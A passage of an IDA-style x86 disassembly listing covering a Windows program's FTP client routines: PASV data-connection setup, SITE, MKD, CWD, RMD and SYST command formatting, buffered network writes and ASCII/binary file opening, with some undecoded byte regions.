		dd offset loc_42E67D
		dd offset loc_42E697
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E870	proc near		; CODE XREF: sub_42E5B0+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42EB94
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42E8D2
		cmp	eax, 2
		jz	short loc_42E8D2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E8D2:				; CODE XREF: sub_42E870+3Aj
					; sub_42E870+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42E904
		cmp	eax, 49h
		jz	short loc_42E904
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E904:				; CODE XREF: sub_42E870+6Cj
					; sub_42E870+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42E9E9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42EB94
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		call	near ptr 77C47660h
		nop
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42EB94
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		nop
		call	near ptr 77C41B72h
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 0C684D75h, 90004474h, 808419E8h,	4C48377h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: sub_42E870+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_438220
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44752C68h, 0E7E89000h, 83778083h, 0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 4BE85700h,	83000098h, 0A75FFF8h, 4473FC68h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 9825E8h, 0FFF88300h, 0FC680A75h, 0E9004473h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 4471FCh, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44752468h
		dd 5610EB00h, 9766E857h, 0C0850000h, 1C68217Dh,	90004475h
		dd 808335E8h, 4C48377h,	9736E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 3DE85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 44750068h, 0E8905200h,	77810DEDh
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 4CE89056h, 8B777FD5h, 8C483F0h, 2275F53Bh, 4473F468h
		dd 67E89000h, 83778082h, 0E85704C4h, 9668h
; ---------------------------------------------------------------------------


loc_42EB94:				; CODE XREF: sub_42E870+2Bj
					; sub_42E870+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42E870	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 0D851E800h, 8390777Fh, 0C53B04C4h
		dd 75144689h, 73F4682Ch, 27E80044h, 90778082h, 5704C483h
		dd 9627E8h, 0E8905600h,	777FD63Fh, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42ED50	proc near		; CODE XREF: sub_42E5B0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42ED92
		mov	ecx, eax


loc_42ED92:				; CODE XREF: sub_42ED50+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_438208
sub_42ED50	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 90000001h, 7F0507E8h, 50008B77h, 843CE890h
		dd 0C4837780h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh
		dd 0E8510CC4h, 9424h, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 44758CBEh, 0A4A5F300h
		dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h
		dd 0F88B0000h, 7F0473E8h, 108B9077h, 5008438Bh,	14245489h
		dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780837Ah
		dd 8304C483h, 565044C6h, 818C03E8h, 0C4839077h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A7E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EF60	proc near		; CODE XREF: sub_40226Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42EF71
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF71:				; CODE XREF: sub_42EF60+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42EF8D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DF40
		add	esp, 0Ch
		jmp	short loc_42EFB4
; ---------------------------------------------------------------------------


loc_42EF8D:				; CODE XREF: sub_42EF60+17j
		call	sub_42E170
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42EF9F
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF9F:				; CODE XREF: sub_42EF60+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------


loc_42EFB4:				; CODE XREF: sub_42EF60+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42EFC0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFC0:				; CODE XREF: sub_42EF60+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42EFFF
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42EFFF
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42EFFF
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EFF8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFF8:				; CODE XREF: sub_42EF60+93j
		mov	dword ptr [esi+40h], 0


loc_42EFFF:				; CODE XREF: sub_42EF60+6Fj
					; sub_42EF60+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42EF60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F040	proc near		; CODE XREF: sub_402216j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42F051
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F051:				; CODE XREF: sub_42F040+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42F06D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42F110
		add	esp, 0Ch
		jmp	short loc_42F08A
; ---------------------------------------------------------------------------


loc_42F06D:				; CODE XREF: sub_42F040+17j
		call	sub_42E170
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------


loc_42F08A:				; CODE XREF: sub_42F040+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42F096
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F096:				; CODE XREF: sub_42F040+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42F0CC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42F0CC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42F0CC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42F0CC:				; CODE XREF: sub_42F040+63j
					; sub_42F040+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42F040	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F110	proc near		; CODE XREF: sub_42F040+23p
					; sub_42F2C0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42F12C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F12C:				; CODE XREF: sub_42F110+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42F254


loc_42F13D:				; CODE XREF: sub_42F110+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42F17E
		cmp	al, 0Dh
		jz	short loc_42F17E
		cmp	esi, 2000h
		jnz	short loc_42F179
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F1E1
		xor	esi, esi


loc_42F179:				; CODE XREF: sub_42F110+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42F17E:				; CODE XREF: sub_42F110+35j
					; sub_42F110+39j
		cmp	esi, 2000h
		jnz	short loc_42F1AC
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F201
		xor	esi, esi


loc_42F1AC:				; CODE XREF: sub_42F110+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42F13D
		test	esi, esi
		jz	loc_42F254
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jnz	short loc_42F221


loc_42F1DA:				; CODE XREF: sub_42F110+4Ej
					; sub_42F110+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F1E1:				; CODE XREF: sub_42F110+65j
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F201:				; CODE XREF: sub_42F110+98j
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		call	near ptr 77C4186Ah
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F221:				; CODE XREF: sub_42F110+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 82E890h, 108B777Fh, 0B4685752h, 0E8004475h
		dd 77812622h, 0CC48390h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42F254:				; CODE XREF: sub_42F110+27j
					; sub_42F110+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42F110	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F2C0	proc near		; CODE XREF: sub_401BEFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42F33B
		dec	eax
		jz	short loc_42F2F0
		dec	eax
		jz	short loc_42F2DC


loc_42F2D4:				; CODE XREF: sub_42F2C0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F2DC:				; CODE XREF: sub_42F2C0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42F2F0
		push	esi
		push	0
		push	0
		call	sub_42F110
		add	esp, 0Ch


loc_42F2F0:				; CODE XREF: sub_42F2C0+Fj
					; sub_42F2C0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_511AD0
		test	eax, eax
		jz	short loc_42F304
		push	eax
		call	ebx	; free
		add	esp, 4


loc_42F304:				; CODE XREF: sub_42F2C0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_438292
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx	; free
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42F2D4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F33B:				; CODE XREF: sub_42F2C0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42F352
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BEF
		add	esp, 4


loc_42F352:				; CODE XREF: sub_42F2C0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_4381FC
sub_42F2C0	endp

; ---------------------------------------------------------------------------
		db 56h
		db 90h
		db 0E8h, 0B9h, 0CEh
		dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F3A0:				; CODE XREF: ___:00401CF8j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F3C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F3C9:				; CODE XREF: ___:0042F3C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F420:				; CODE XREF: ___:004016CCj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F441
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F441:				; CODE XREF: ___:0042F43Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42F45C


loc_42F44F:				; CODE XREF: ___:0042F45Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42F45C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42F44F


loc_42F45C:				; CODE XREF: ___:0042F44Dj
					; ___:0042F453j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F490:				; CODE XREF: ___:00402270j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F4B9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F4B9:				; CODE XREF: ___:0042F4B0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F510:				; CODE XREF: ___:0040227Fj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F539
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F539:				; CODE XREF: ___:0042F530j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F590:				; CODE XREF: ___:0040178Aj
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42E490
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5C0:				; CODE XREF: ___:00402220j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F5E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F5E9:				; CODE XREF: ___:0042F5E0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F640:				; CODE XREF: ___:00401677j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_447678
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F661
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F661:				; CODE XREF: ___:0042F65Cj
		add	edi, 44h
		push	22h
		push	edi
		call	near ptr 77C47660h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F677
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F677:				; CODE XREF: ___:0042F672j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42F695


loc_42F683:				; CODE XREF: ___:0042F693j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42F695
		cmp	cl, 22h
		jz	short loc_42F695
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42F683


loc_42F695:				; CODE XREF: ___:0042F681j
					; ___:0042F687j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F6C0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6F0	proc near		; CODE XREF: ___:0042F6D3p
					; ___:0042F953p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42F77A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4476B8
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42F72A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42F72A:				; CODE XREF: sub_42F6F0+33j
		cmp	edi, 49h
		jnz	short loc_42F734
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42F734:				; CODE XREF: sub_42F6F0+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42F794
		push	100h
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		nop
		call	near ptr 77C371FAh
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F77A:				; CODE XREF: sub_42F6F0+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42F78B
		mov	ebx, dword_511A90
		jmp	short loc_42F794
; ---------------------------------------------------------------------------


loc_42F78B:				; CODE XREF: sub_42F6F0+91j
		mov	edx, dword_511A90
		lea	ebx, [edx+20h]


loc_42F794:				; CODE XREF: sub_42F6F0+57j
					; sub_42F6F0+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F73
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42F7B7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F7B7:				; CODE XREF: sub_42F6F0+BFj
		push	2000h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
